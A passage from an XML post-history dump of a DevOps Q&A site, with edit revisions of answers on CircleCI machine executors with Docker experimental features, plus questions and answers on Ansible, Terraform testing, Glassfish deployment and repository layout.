/etc/default/docker'&#xD;&#xA;                sudo service docker restart&#xD;&#xA;&#xD;&#xA;                # Install dependencies for tests etc, as&#xD;&#xA;                # Ubuntu machine is quite bare.&#xD;&#xA;                sudo apt-get update&#xD;&#xA;                sudo apt-get install -y php5&#xD;&#xA;&#xD;&#xA;                # Needed to push built Docker images to registry.&#xD;&#xA;                docker login -u $DOCKER_USER -p $DOCKER_PASS&#xD;&#xA;&#xD;&#xA;                # Experimental features on, so we can use --squash now.&#xD;&#xA;                docker build --squash -t myuser/myimage .&#xD;&#xA;&#xD;&#xA;                docker push myuser/myimage&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://circleci.com/docs/2.0/configuration-reference/#machine" ContentLicense="CC BY-SA 3.0" />
  <row Id="5769" PostHistoryTypeId="5" PostId="1836" RevisionGUID="56a8a498-f27d-4d62-8026-b2ed6a88cdf7" CreationDate="2017-08-23T12:36:22.920" UserId="4058" Comment="added 675 characters in body" Text="CircleCI now allows you to use a [machine executor][1] which provisions a separate VM for you, with Ubuntu 14.04 and Docker version 17.06.0-ce installed. This allows you to turn on experimental features for the Docker daemon.&#xD;&#xA;&#xD;&#xA;You need to use the `machine` key instead of the `docker` key, to run your job in a separate virtual machine instead of just a Docker container.&#xD;&#xA;&#xD;&#xA;You can only choose 2 images for the machine: Ubuntu 14.04 with Docker 17.03.0-ce, or Ubuntu 14.04 with Docker 17.06.0-ce - the one with experimental features.&#xD;&#xA;&#xD;&#xA;You'll also need to install dependencies on the machine yourself, as it is quite bare. For example, if you need PHP for your tests, you'll need to run `sudo apt-get install -y php5`.&#xD;&#xA;&#xD;&#xA;Here is a sample *.circleci/config.yml* that builds a Docker image using experimental feature `docker build --squash`:&#xD;&#xA;&#xD;&#xA;&gt; .circleci/config.yml&#xD;&#xA;&gt; &lt;!-- language: lang-yaml --&gt;&#xD;&#xA;&gt;&#xD;&#xA;&gt;     version: 2&#xD;&#xA;&gt;     jobs:&#xD;&#xA;&gt;       build:&#xD;&#xA;&gt;         # Run in a separate virtual machine instead of a Docker container.&#xD;&#xA;&gt;         machine:&#xD;&#xA;&gt;           enabled: true&#xD;&#xA;&gt;           # Use Ubuntu 14.04 with bleeding edge Docker daemon 17.06.0-ce.&#xD;&#xA;&gt;           image: circleci/classic:edge&#xD;&#xA;&gt;         steps:&#xD;&#xA;&gt;           - checkout&#xD;&#xA;&gt;           - run:&#xD;&#xA;&gt;               command: |&#xD;&#xA;&gt;                 # Restart Docker with experimental features on.&#xD;&#xA;&gt;                 sudo sh -c 'echo '\''DOCKER_OPTS=&quot;--experimental=true&quot;'\'' &gt;&gt; /etc/default/docker'&#xD;&#xA;&gt;                 sudo service docker restart&#xD;&#xA;&gt;&#xD;&#xA;&gt;                 # Install dependencies for tests etc, as&#xD;&#xA;&gt;                 # Ubuntu machine is quite bare.&#xD;&#xA;&gt;                 sudo apt-get update&#xD;&#xA;&gt;                 sudo apt-get install -y php5&#xD;&#xA;&gt;&#xD;&#xA;&gt;                 # Needed to push built Docker images to registry.&#xD;&#xA;&gt;                docker login -u $DOCKER_USER -p $DOCKER_PASS&#xD;&#xA;&gt;&#xD;&#xA;&gt;                 # Experimental features on, so we can use --squash now.&#xD;&#xA;&gt;                 docker build --squash -t myuser/myimage .&#xD;&#xA;&gt;&#xD;&#xA;&gt;                 docker push myuser/myimage&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://circleci.com/docs/2.0/configuration-reference/#machine" ContentLicense="CC BY-SA 3.0" />
  <row Id="5770" PostHistoryTypeId="5" PostId="1836" RevisionGUID="d920b368-c3a2-4009-9ca3-c3f4f18f4f8b" CreationDate="2017-08-23T12:41:38.160" UserId="4058" Comment="added 675 characters in body" Text="CircleCI now allows you to use a [machine executor][circleci-machine] which provisions a separate VM for you, with Ubuntu 14.04 and Docker version 17.06.0-ce installed. This allows you to turn on experimental features for the Docker daemon.&#xD;&#xA;&#xD;&#xA;You need to use the [`machine`] [circleci-machine] key instead of the `docker` key, to run your job in a separate virtual machine instead of just a Docker container.&#xD;&#xA;&#xD;&#xA;You can only choose 2 images for the machine: Ubuntu 14.04 with Docker 17.03.0-ce, or Ubuntu 14.04 with Docker 17.06.0-ce - the one with experimental features.&#xD;&#xA;&#xD;&#xA;You'll also need to install dependencies on the machine yourself, as it is quite bare. For example, if you need PHP for your tests, you'll need to run `sudo apt-get install -y php5`.&#xD;&#xA;&#xD;&#xA;Here is a sample *.circleci/config.yml* that builds a Docker image using experimental feature `docker build --squash`:&#xD;&#xA;&#xD;&#xA;&gt; .circleci/config.yml&#xD;&#xA;&gt; &lt;!-- language: lang-yaml --&gt;&#xD;&#xA;&gt;&#xD;&#xA;&gt;     version: 2&#xD;&#xA;&gt;     jobs:&#xD;&#xA;&gt;       build:&#xD;&#xA;&gt;         # Run in a separate virtual machine instead of a Docker container.&#xD;&#xA;&gt;         machine:&#xD;&#xA;&gt;           enabled: true&#xD;&#xA;&gt;           # Use Ubuntu 14.04 with bleeding edge Docker daemon 17.06.0-ce.&#xD;&#xA;&gt;           image: circleci/classic:edge&#xD;&#xA;&gt;         steps:&#xD;&#xA;&gt;           - checkout&#xD;&#xA;&gt;           - run:&#xD;&#xA;&gt;               command: |&#xD;&#xA;&gt;                 # Restart Docker with experimental features on.&#xD;&#xA;&gt;                 sudo sh -c 'echo '\''DOCKER_OPTS=&quot;--experimental=true&quot;'\'' &gt;&gt; /etc/default/docker'&#xD;&#xA;&gt;                 sudo service docker restart&#xD;&#xA;&gt;&#xD;&#xA;&gt;                 # Install dependencies for tests etc, as&#xD;&#xA;&gt;                 # Ubuntu machine is quite bare.&#xD;&#xA;&gt;                 sudo apt-get update&#xD;&#xA;&gt;                 sudo apt-get install -y php5&#xD;&#xA;&gt;&#xD;&#xA;&gt;                 # Experimental features on, so we can use --squash now.&#xD;&#xA;&gt;                 docker build --squash -t myuser/myimage .&#xD;&#xA;&gt;&#xD;&#xA;&gt;                 # Login and push Docker image to registry.&#xD;&#xA;&gt;                 docker login -u $DOCKER_USER -p $DOCKER_PASS&#xD;&#xA;&gt;                 docker push myuser/myimage&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [circleci-machine]: https://circleci.com/docs/2.0/configuration-reference/#machine &quot;CircleCI reference: machine executor&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5771" PostHistoryTypeId="5" PostId="1836" RevisionGUID="f99eb868-0f0a-41dc-b3df-6d1cc494a391" CreationDate="2017-08-23T12:49:35.873" UserId="4058" Comment="deleted 54 characters in body" Text="CircleCI now allows you to use a [machine executor][circleci-machine] which provisions a separate VM for you, with Ubuntu 14.04 and Docker version 17.06.0-ce installed. This allows you to turn on experimental features for the Docker daemon.&#xD;&#xA;&#xD;&#xA;You need to use the [`machine`] [circleci-machine] key instead of the `docker` key, to run your job in a separate virtual machine instead of just a Docker container.&#xD;&#xA;&#xD;&#xA;You can only choose 2 images for the machine: Ubuntu 14.04 with Docker 17.03.0-ce, or Ubuntu 14.04 with Docker 17.06.0-ce - the one with experimental features.&#xD;&#xA;&#xD;&#xA;You'll also need to install dependencies on the machine yourself, as it is quite bare. For example, if you need PHP for your tests, you'll need to run `sudo apt-get install -y php5`.&#xD;&#xA;&#xD;&#xA;Here is a sample *.circleci/config.yml* that builds a Docker image using experimental feature `docker build --squash`:&#xD;&#xA;&#xD;&#xA;&gt; .circleci/config.yml&#xD;&#xA;&gt; &lt;!-- language: lang-yaml --&gt;&#xD;&#xA;&gt;&#xD;&#xA;&gt;     version: 2&#xD;&#xA;&gt;     jobs:&#xD;&#xA;&gt;       build:&#xD;&#xA;&gt;         # Run in a separate virtual machine instead of a Docker container.&#xD;&#xA;&gt;         machine:&#xD;&#xA;&gt;           enabled: true&#xD;&#xA;&gt;           # Use Ubuntu 14.04 with bleeding edge Docker daemon 17.06.0-ce.&#xD;&#xA;&gt;           image: circleci/classic:edge&#xD;&#xA;&gt;         steps:&#xD;&#xA;&gt;           - checkout&#xD;&#xA;&gt;           - run:&#xD;&#xA;&gt;               command: |&#xD;&#xA;&gt;                 # Restart Docker with experimental features on.&#xD;&#xA;&gt;                 sudo sh -c 'echo '\''DOCKER_OPTS=&quot;--experimental=true&quot;'\'' &gt;&gt; /etc/default/docker'&#xD;&#xA;&gt;                 sudo service docker restart&#xD;&#xA;&gt;&#xD;&#xA;&gt;                 # Install dependencies for tests etc.&#xD;&#xA;&gt;                 sudo apt-get update&#xD;&#xA;&gt;                 sudo apt-get install -y php5&#xD;&#xA;&gt;&#xD;&#xA;&gt;                 # Build image with experimental feature --squash.&#xD;&#xA;&gt;                 docker build --squash -t myuser/myimage .&#xD;&#xA;&gt;&#xD;&#xA;&gt;                 # Login and push Docker image to registry.&#xD;&#xA;&gt;                 docker login -u $DOCKER_USER -p $DOCKER_PASS&#xD;&#xA;&gt;                 docker push myuser/myimage&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [circleci-machine]: https://circleci.com/docs/2.0/configuration-reference/#machine &quot;CircleCI reference: machine executor&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5772" PostHistoryTypeId="5" PostId="1835" RevisionGUID="a91f7f38-647b-4b43-bdb8-212ae7c24ca0" CreationDate="2017-08-23T14:16:11.210" UserId="3542" Comment="edit question for readability, make title more concise" Text="In Ansible, we are running a playbook using `ansible-playbook playbookname.yaml`. The ouput will be multiple lines. I need ouput in one line. I do not want multiple line output." ContentLicense="CC BY-SA 3.0" />
  <row Id="5773" PostHistoryTypeId="4" PostId="1835" RevisionGUID="a91f7f38-647b-4b43-bdb8-212ae7c24ca0" CreationDate="2017-08-23T14:16:11.210" UserId="3542" Comment="edit question for readability, make title more concise" Text="need Ansible playbook ouput in one line" ContentLicense="CC BY-SA 3.0" />
  <row Id="5774" PostHistoryTypeId="24" PostId="1835" RevisionGUID="a91f7f38-647b-4b43-bdb8-212ae7c24ca0" CreationDate="2017-08-23T14:16:11.210" Comment="Proposed by 3542 approved by -1 edit id of 411" ContentLicense="CC BY-SA 3.0" />
  <row Id="5775" PostHistoryTypeId="4" PostId="1835" RevisionGUID="fdb20f0a-e857-4f34-91ec-7ed7441ef08a" CreationDate="2017-08-23T14:16:11.210" UserId="40" Comment="Improve title" Text="How to create Ansible playbook ouput in one line?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5776" PostHistoryTypeId="5" PostId="1836" RevisionGUID="35c87725-1337-4c2a-8e55-3f6f870d96b7" CreationDate="2017-08-23T14:24:19.490" UserId="4058" Comment="added 8 characters in body" Text="CircleCI now allows you to use a [machine executor][circleci-machine] which provisions a separate VM for you, with Ubuntu 14.04 and Docker version 17.06.0-ce installed. This allows you to turn on experimental features for the Docker daemon.&#xD;&#xA;&#xD;&#xA;You need to use the [`machine`] [circleci-machine] key instead of the `docker` key, to run your job in a separate virtual machine instead of just a Docker container.&#xD;&#xA;&#xD;&#xA;You can only choose 2 images for the machine:&#xD;&#xA;&#xD;&#xA;* `circleci/classic:latest`: Ubuntu 14.04 with Docker 17.03.0-ce, or&#xD;&#xA;* `circleci/classic:edge`: Ubuntu 14.04 with Docker 17.06.0-ce - the one with experimental features.&#xD;&#xA;&#xD;&#xA;You'll also need to install dependencies on the machine yourself, as it is quite bare. For example, if you need PHP for your tests, you'll need to run `sudo apt-get install -y php5`.&#xD;&#xA;&#xD;&#xA;Here is a sample *.circleci/config.yml* that builds a Docker image using experimental feature `docker build --squash`:&#xD;&#xA;&#xD;&#xA;&gt; .circleci/config.yml&#xD;&#xA;&gt; &lt;!-- language: lang-yaml --&gt;&#xD;&#xA;&gt;&#xD;&#xA;&gt;     version: 2&#xD;&#xA;&gt;     jobs:&#xD;&#xA;&gt;       build:&#xD;&#xA;&gt;         # Run in a separate virtual machine instead of a Docker container.&#xD;&#xA;&gt;         machine:&#xD;&#xA;&gt;           enabled: true&#xD;&#xA;&gt;           # Use Ubuntu 14.04 with bleeding edge Docker daemon 17.06.0-ce.&#xD;&#xA;&gt;           image: circleci/classic:edge&#xD;&#xA;&gt;         steps:&#xD;&#xA;&gt;           - checkout&#xD;&#xA;&gt;           - run:&#xD;&#xA;&gt;               command: |&#xD;&#xA;&gt;                 # Restart Docker with experimental features on.&#xD;&#xA;&gt;                 sudo sh -c 'echo '\''DOCKER_OPTS=&quot;--experimental=true&quot;'\'' &gt;&gt; /etc/default/docker'&#xD;&#xA;&gt;                 sudo service docker restart&#xD;&#xA;&gt;&#xD;&#xA;&gt;                 # Install dependencies for tests etc.&#xD;&#xA;&gt;                 sudo apt-get update&#xD;&#xA;&gt;                 sudo apt-get install -y php5&#xD;&#xA;&gt;&#xD;&#xA;&gt;                 # Build image with experimental feature --squash.&#xD;&#xA;&gt;                 docker build --squash -t myuser/myimage .&#xD;&#xA;&gt;&#xD;&#xA;&gt;                 # Login and push Docker image to registry.&#xD;&#xA;&gt;                 docker login -u $DOCKER_USER -p $DOCKER_PASS&#xD;&#xA;&gt;                 docker push myuser/myimage&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [circleci-machine]: https://circleci.com/docs/2.0/configuration-reference/#machine &quot;CircleCI reference: machine executor&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5777" PostHistoryTypeId="2" PostId="1837" RevisionGUID="43f7cb0b-f7db-4070-a9ec-c5334c6f89db" CreationDate="2017-08-23T15:47:05.487" UserId="4061" Text="If you want just to deploy faster to server(propably not only Glassfish) you can just write code in gradle to do that. &#xD;&#xA;Example taken from [here](https://www.schuermann.eu/2013/08/03/gradle-glassfish.html)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    /**&#xD;&#xA;     *  ~/.gradle/gradle.properties:&#xD;&#xA;     *  glassfishHome=/path/to/glassfish_home&#xD;&#xA;     *&#xD;&#xA;     *  or in Netbeans, right click project, Properties, Manage Build in Tasks, Run&#xD;&#xA;     *  Add line to Arguments: -Dorg.gradle.project.glassfishHome=/path/to/glassfish_home&#xD;&#xA;     *&#xD;&#xA;     *  For more information about Exec tasks see&#xD;&#xA;     *  http://www.gradle.org/docs/current/dsl/org.gradle.api.tasks.Exec.html&#xD;&#xA;     */&#xD;&#xA;    task run(dependsOn: 'war', type:Exec) {&#xD;&#xA;        workingDir &quot;${glassfishHome}${File.separator}bin&quot;&#xD;&#xA;    &#xD;&#xA;        if (System.properties['os.name'].toLowerCase().contains('windows')) {&#xD;&#xA;            commandLine 'cmd', '/c', 'asadmin.bat'&#xD;&#xA;        } else {&#xD;&#xA;            commandLine &quot;./asadmin&quot;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        args &quot;deploy&quot;, &quot;--force=true&quot;, &quot;${war.archivePath}&quot;&#xD;&#xA;    //from: https://www.schuermann.eu/2013/08/03/gradle-glassfish.html&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;In other words just use your asadmin" ContentLicense="CC BY-SA 3.0" />
  <row Id="5778" PostHistoryTypeId="2" PostId="1838" RevisionGUID="ddf5a27b-f63d-4ca3-84c3-ca0055e1b092" CreationDate="2017-08-23T17:28:08.717" UserId="4062" Text="You haven't specified anything concrete, so I can't give you a specific reason...  But catalog items can:&#xD;&#xA;&#xD;&#xA; - Be mutually exclusive (e.g. you can't use ipsec and vxlan at the same time)&#xD;&#xA; - Be deployed at most once in an environment&#xD;&#xA; - Require the environment be a specific orchestration type&#xD;&#xA; - Require a certain range of Rancher versions&#xD;&#xA; - etc" ContentLicense="CC BY-SA 3.0" />
  <row Id="5783" PostHistoryTypeId="2" PostId="1840" RevisionGUID="6e6486f5-0172-4eaa-83b3-cdc6e42eba9d" CreationDate="2017-08-24T00:53:36.723" UserId="60" Text="We've been growing as a company, our products are expanding and our DevOps related activities and efforts are growing as well - we've switched from Bamboo to a more flexible and configurable Jenkins, using deployment pipelines and other plugins; switched to Ansible and starting to use Docker here and there internally.&#xD;&#xA;&#xD;&#xA;All of these things require some level of coding or configuration - Ansible scripts and configs, Jenkins groovy scripts, Dockerfiles and YAML configs. &#xD;&#xA;&#xD;&#xA;For now, we've created a separate &quot;ops&quot; repository with high-level directories for `jenkins`, `ansible`, `docker` and `other` (which is a terrible name, but for now all &quot;other&quot; DevOps automation things are there).&#xD;&#xA;&#xD;&#xA;Our approach does not feel right and might not scale, but what are the best practices and recommendations to keep DevOps-related code in a code repository or repositories?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5784" PostHistoryTypeId="1" PostId="1840" RevisionGUID="6e6486f5-0172-4eaa-83b3-cdc6e42eba9d" CreationDate="2017-08-24T00:53:36.723" UserId="60" Text="How to structure DevOps related code and configs in a code repository?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5785" PostHistoryTypeId="3" PostId="1840" RevisionGUID="6e6486f5-0172-4eaa-83b3-cdc6e42eba9d" CreationDate="2017-08-24T00:53:36.723" UserId="60" Text="&lt;git&gt;&lt;repository&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5786" PostHistoryTypeId="6" PostId="1840" RevisionGUID="8669caf4-d028-4ae8-bb2d-75b54ec08dc0" CreationDate="2017-08-24T02:21:44.570" UserId="60" Comment="edited tags" Text="&lt;jenkins&gt;&lt;ansible&gt;&lt;git&gt;&lt;repository&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5787" PostHistoryTypeId="6" PostId="981" RevisionGUID="78b2ab82-8b20-4cbe-aa68-7cf3dd0715e8" CreationDate="2017-08-24T03:11:00.460" UserId="2449" Comment="Add Eclipse tag" Text="&lt;travis-ci&gt;&lt;github&gt;&lt;eclipse&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5788" PostHistoryTypeId="2" PostId="1841" RevisionGUID="ae435c32-c5ef-48c8-9f4a-8990e19e046f" CreationDate="2017-08-24T03:30:38.267" UserId="3752" Text="I can answer bout docker, one of the best practice to use docker is to keep the docker file and the compose files in the same repository of the project, so wherever you clone the project you can build the docker image, and it is good to keep multiple versions of docker compose files for example (prod, staging, dev) so you can build the image and run the container with specific option for each env for example for dev machine you can use specific network and run more dependencies container or whatever." ContentLicense="CC BY-SA 3.0" />
  <row Id="5789" PostHistoryTypeId="6" PostId="1840" RevisionGUID="47c844da-835c-4137-8daa-58804ce5f8dd" CreationDate="2017-08-24T03:32:52.307" UserId="60" Comment="edited tags" Text="&lt;jenkins&gt;&lt;docker&gt;&lt;ansible&gt;&lt;git&gt;&lt;repository&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5790" PostHistoryTypeId="5" PostId="1445" RevisionGUID="371ab315-fb9b-403b-949e-3b420ecca481" CreationDate="2017-08-24T10:14:43.810" UserId="707" Comment="added 4 characters in body" Text="Maybe the whole setup is wrong but imagine your task is to model a system, or set of systems using Docker, where exact system configuraton can be tricky.&#xD;&#xA;&#xD;&#xA;The workflow resulting from it seems like series of making small changes, waiting to analysing logs, changes, waiting... It seems like during an hour of work you could manage several iterations, but waiting is mind-boggling, though it already takes place on top of base images and inside-container work is done as well to try out things. Additionally, often this work can block many others.&#xD;&#xA;&#xD;&#xA;Question: how to speed up this process? Do you guys use powerful appliances to reduce the cycle periods which is in term of lean manufacturing a clear *waste* given cost of systems compared to human time (**imagine any change would be landing in the target environment always in just one second**)? Or is the workflow wrong?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5791" PostHistoryTypeId="4" PostId="1445" RevisionGUID="371ab315-fb9b-403b-949e-3b420ecca481" CreationDate="2017-08-24T10:14:43.810" UserId="707" Comment="added 4 characters in body" Text="1 second system engineering work cycles: educated workflow setup for Docker-driven development" ContentLicense="CC BY-SA 3.0" />
  <row Id="5792" PostHistoryTypeId="10" PostId="1835" RevisionGUID="b9099ec4-e3cb-4e0d-aaaf-ecc0460c9d23" CreationDate="2017-08-24T11:41:49.817" UserId="46" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="5793" PostHistoryTypeId="5" PostId="132" RevisionGUID="b02d715c-5cf9-44e0-823e-b0f938f90c1b" CreationDate="2017-08-24T11:47:24.157" UserId="6" Comment="use the proper word `idempotent` instead of the wrong word `immutable`" Text="When using configuration management tools, such as Ansible, the tool itself would be responsible preventing configuration drift. Once you used Ansible to set a certain configuration, repetitive execution of Ansible will ensure your configuration is as you defined it to be. This also requires your Ansible code to be written in a manner which is idempotent.&#xD;&#xA;&#xD;&#xA;Given the above, testing provisioning can be achieved by executing your Ansible playbooks in a loop from some server. For example, a cron job, or Jenkins, can execute the playbooks every 30 minutes and report back on any failure. Having no failures means that your configuration is in check, having failures means that there is a problem getting servers into your *desired state*.&#xD;&#xA;&#xD;&#xA;In a case where you cannot trust your code to be written as idempotent, and thus you cannot really execute Ansible repetitively in a loop from an automatic server a workaround exists. You can do the same as above (run Ansible in a loop) but use its [*dry run* mode][1]. Each time Ansible reports that changes are required, the Jenkins job (or cron job) can notify you that your provisioned configuration has been altered and servers are not in their *desired state*.&#xD;&#xA;&#xD;&#xA;To make sure that your Ansible code is actually doing what you think it should be doing, the solutions mentioned by Dave Swersky apply. Both [InSpec][2] and [Serverspec][3] are tools that verify in a *different* way that your playbooks actually does what you mean. A great way to execute these kinds of tools in test environments (even docker containers) is to use [kitchen.ci][4] which handles all the glue between the various infra unit testing tools, and execution of your playbooks/modules/cookbooks.&#xD;&#xA;&#xD;&#xA;Kitchen.ci was originally used to test Chef cookbooks, but [plugins exist for Ansible][5] and other CM tools as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/playbooks_checkmode.html&#xD;&#xA;  [2]: https://www.chef.io/inspec/&#xD;&#xA;  [3]: http://serverspec.org/&#xD;&#xA;  [4]: http://kitchen.ci/&#xD;&#xA;  [5]: https://github.com/neillturner/kitchen-ansible" ContentLicense="CC BY-SA 3.0" />
  <row Id="5794" PostHistoryTypeId="2" PostId="1842" RevisionGUID="270d70a3-ea79-4a33-bcc8-cd08edce9971" CreationDate="2017-08-24T12:33:00.023" UserId="4071" Text="On Aws-Side there is https://github.com/k1LoW/awspec - it should be possible, to feed in terraform.state and test, wheter terraform applied correct.&#xD;&#xA;&#xD;&#xA;But I think, beyond testing on low level the tool, you used, it's probably a better idea, to think about how to test whole infrastructures. &#xD;&#xA;&#xD;&#xA;We're discussing around this idea here:&#xD;&#xA;&#xD;&#xA;https://github.com/DomainDrivenArchitecture/dda-cloudspec/blob/development/README.md&#xD;&#xA;&#xD;&#xA;Feel invited to join the discussion." ContentLicense="CC BY-SA 3.0" />
  <row Id="5796" PostHistoryTypeId="50" PostId="1233" RevisionGUID="d2ffe555-a5ad-4376-83b8-03966b875293" CreationDate="2017-08-24T14:59:18.823" UserId="-1" />
  <row Id="5797" PostHistoryTypeId="5" PostId="1842" RevisionGUID="ecf8e45c-7eac-47aa-8648-f8afaeeb6d10" CreationDate="2017-08-24T15:07:53.330" UserId="4071" Comment="Added an answer for invariants" Text="On Aws-Side there is https://github.com/k1LoW/awspec - it should be possible, to feed in terraform.state and test, wheter terraform applied correct.&#xD;&#xA;&#xD;&#xA;But I think, beyond testing on low level the tool, you used, it's probably a better idea, to think about how to test whole infrastructures. &#xD;&#xA;&#xD;&#xA;We're discussing around this idea here:&#xD;&#xA;&#xD;&#xA;https://github.com/DomainDrivenArchitecture/dda-cloudspec/blob/development/README.md&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For testing invariants upfront, I do not know a ready to use solution ...&#xD;&#xA;&#xD;&#xA;We did some experiments using a mix of `terraform plan -out=plan.dump` and `grep` for the absence of element names. There is a discussion about a more accessible plan format here: github.com/hashicorp/terraform/issues/11883&#xD;&#xA;&#xD;&#xA;But at the moment we're using a manual plan review process for important parts of our infrastructure." ContentLicense="CC BY-SA 3.0" />
  <row Id="5798" PostHistoryTypeId="2" PostId="1843" RevisionGUID="7aca8970-9f92-41a8-a58a-2acc46278925" CreationDate="2017-08-24T16:28:24.993" UserId="3087" Text="I want to start a service in my fedora docker container. &#xD;&#xA;But since systemd is not working in the fedora container. I am unable to start the service. I'm getting following error.&#xD;&#xA;&#xD;&#xA;&gt; Failed to connect to bus: No such file or directory&#xD;&#xA;&#xD;&#xA;In Ubuntu container, I am able to start any service using /etc/init.d/&lt;service&gt;. &#xD;&#xA;I want to know any other way to do the same for my fedora container.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5799" PostHistoryTypeId="1" PostId="1843" RevisionGUID="7aca8970-9f92-41a8-a58a-2acc46278925" CreationDate="2017-08-24T16:28:24.993" UserId="3087" Text="How to start a service in fedora container without using systemd?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5800" PostHistoryTypeId="3" PostId="1843" RevisionGUID="7aca8970-9f92-41a8-a58a-2acc46278925" CreationDate="2017-08-24T16:28:24.993" UserId="3087" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5801" PostHistoryTypeId="34" PostId="1750" RevisionGUID="17d8b365-0e03-4d9f-8877-693eba74f1a0" CreationDate="2017-08-24T17:10:05.713" UserId="60" Comment="5" />
  <row Id="5802" PostHistoryTypeId="5" PostId="1815" RevisionGUID="19768ae6-ebc5-4247-afc9-7020da3c16e7" CreationDate="2017-08-24T19:17:34.527" UserId="4031" Comment="added 1976 characters in body" Text="Working for a large company with over 500 IT staff and over a 1,000 servers, with each server running its own business applications, we have a tremendous information and co-ordination challenge in knowing which IT staff member to contact for which server. The problem of co-ordination is compounded with different IT staff being responsible for different layers of the IT stack. E.g., there are different teams who are responsible for hardware, virtualization, operating systems, application servers and the applications themselves.&#xD;&#xA;&#xD;&#xA;Considering this challenge, within DevOps there is a requirement to define and document all the components that constitute the various technology stacks within an IT environment. Traditionally this might have been accomplished with a propriety CMDB solution.&#xD;&#xA;&#xD;&#xA;I've investigated typical CMDB solutions such as [BMC Atrium][1] and others for this purpose, the problem however is that they stop at the level of documenting IT assets themselves, at a high level, as per the ITIL framework, but to do not address documentation of the IT Technology Stack in detail. I have also investigated tools such as [Puppet][2], [Ansible][3] and [Salt][4], but these tools focus more on software deployment and configuration, and not on the people co-ordination around software.&#xD;&#xA;&#xD;&#xA;A workable solution for example, would define the various concepts, along with the key attributes important to these concepts:&#xD;&#xA;&#xD;&#xA; - Hardware&#xD;&#xA; - Virtualisation&#xD;&#xA; - Operating Systems&#xD;&#xA; - Application servers&#xD;&#xA; - Applications&#xD;&#xA;&#xD;&#xA;These concepts would then be associated with one another in terms of their relationships in order to form solutions. E.g., an application would depend on an application server, which would depend on an operating system, etc., Together this solution would be defined at the &quot;Finance System&quot;. Having defined a system, all the metadata associated with these systems would be captured in order to facilitate co-ordination for each layer in the stack. I.e. the co-ordination of the technical support staff for each layer.&#xD;&#xA;&#xD;&#xA;The purpose of such a solution would to do various queries against technology stacks, such as:&#xD;&#xA; &#xD;&#xA; - To determine who supports which components&#xD;&#xA; - Which components are out of date&#xD;&#xA; - Which components need to be patched&#xD;&#xA;&#xD;&#xA;With this in mind, what open source tools exist to define all the components of an IT technology stack, including their relationship to one another, in a graph database such as Neo4J?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bmcsoftware.co.za/it-solutions/atrium-cmdb.html&#xD;&#xA;  [2]: https://puppet.com/&#xD;&#xA;  [3]: https://www.ansible.com/&#xD;&#xA;  [4]: https://saltstack.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5803" PostHistoryTypeId="2" PostId="1844" RevisionGUID="be7178b5-7223-4616-9a5c-339dc7ddd058" CreationDate="2017-08-24T19:19:57.703" UserId="2962" Text="Each tool's code goes into its own repo. for e.g&#xD;&#xA;&#xD;&#xA;1. Jenkins Groovy template into a Jenkins repo&#xD;&#xA;2. Ansible YAML playbooks in its own repo (with the roles , tasks , inventory sub directories&#xD;&#xA;3. Cloudformation / Terrform templates in its own repo&#xD;&#xA;4. Docker files in its own&#xD;&#xA;5.. And So on&#xD;&#xA;&#xD;&#xA;This would help you scale better in terms of process orchestration and maintaining various branches for each environment&#xD;&#xA;&#xD;&#xA;This would give you more granular control and offload all your versioning overhead to the version control systems. Also create separate branches for each environment and tag the code for every production release (as we do for application code base). Think Infra and process in terms of code. (Any change in process has to be codified and sent to QA, SIT , UAT and then to PROD) similar to application.&#xD;&#xA;&#xD;&#xA;For e.g you may have V2.1 of Ansible running in Production ( master branch) but V2.0 of docker containers running in Prod (master branch) &#xD;&#xA;&#xD;&#xA;Similarly keep your DB scripts / bash scripts in their own repositories and maybe you can have a healthcheck file (JSON/YAML) configured to show the versions of all the tools / parts in each deployed URL for tracking and automating purposes. (So that your webhooks reads the URL and automates deployments)&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5804" PostHistoryTypeId="2" PostId="1845" RevisionGUID="ea58e634-476f-46b8-91b8-4aebf44babd4" CreationDate="2017-08-24T19:32:55.617" UserId="2962" Text="I think you are trying to solve a different issue (environment) with how Git versioning / branching works&#xD;&#xA;&#xD;&#xA;As suggested by @Dan you need to keep the build.xml alongside product code but at the same time the build.xml should not change for each environment (database=beta, prod ,qa) etc.&#xD;&#xA;&#xD;&#xA; There are two ways to solve it, &#xD;&#xA;&#xD;&#xA;a. Make your application dynamic to read system environment variables (like ENV=qa , ENV=beta or ENV=PROD and have different property files for each environment and keep the build.xml static (with just referring the variable)&#xD;&#xA;&#xD;&#xA;   But drawback in this approach is that each time you add a new environment a new property file gets added to your code&#xD;&#xA;&#xD;&#xA;b. Have all the dependent resources (like database end point / credentials , host_name , email server and credentials, . etc) everything into system environmental variables or service 